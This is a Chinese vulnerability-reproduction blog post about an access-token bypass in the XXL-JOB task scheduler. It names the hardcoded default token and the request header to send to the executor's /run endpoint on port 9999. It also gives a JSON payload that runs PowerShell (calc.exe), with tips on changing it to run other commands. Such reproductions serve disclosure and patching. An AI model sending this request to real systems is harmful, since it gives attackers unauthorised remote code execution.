漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

admin 2023年11月2日21:43:39评论294 views字数 813阅读2分42秒阅读模式

1、前言

今天看到网上爆出xxl-job新漏洞说是存在默认accesstoken

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞


由于好奇去官网查看存在硬编码问题
https://gitee.com/xuxueli0323/xxl-job/blob/master/xxl-job-admin/src/main/resources/application.properties

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

判断accesstoken正确后就可以请求/run接口进行RCE

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

在请求中增加请求头XXL-JOB-ACCESS-TOKEN: default_token即可利用漏洞。漏洞主要影响执行器默认端口为9999

2、复现

直接访问http://xxx.com:9999/run返回

{"code":500,"msg":"invalid request, HttpMethod not support."}

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

post访问返回{"code":500,"msg":"The access token is wrong."}

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

加上请求头,可以直接请求接口

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

进一步利用可根据实际情况修改glueTypeglueSource参数

{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "SERIAL_EXECUTION","executorTimeout": 0,"logId": 1,"logDateTime": 1586373637819,"glueType": "GLUE_POWERSHELL","glueSource": "calc.exe","glueUpdatetime": 1586693836758,"broadcastIndex": 0,"broadcastTotal": 0}


漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞


原文始发于微信公众号(0x00001):漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月2日21:43:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现|XXL-JOB任务调度系统 ACCESS-TOKEN权限绕过漏洞http://cn-sec.com/archives/2170334.html

发表评论

匿名网友 填写信息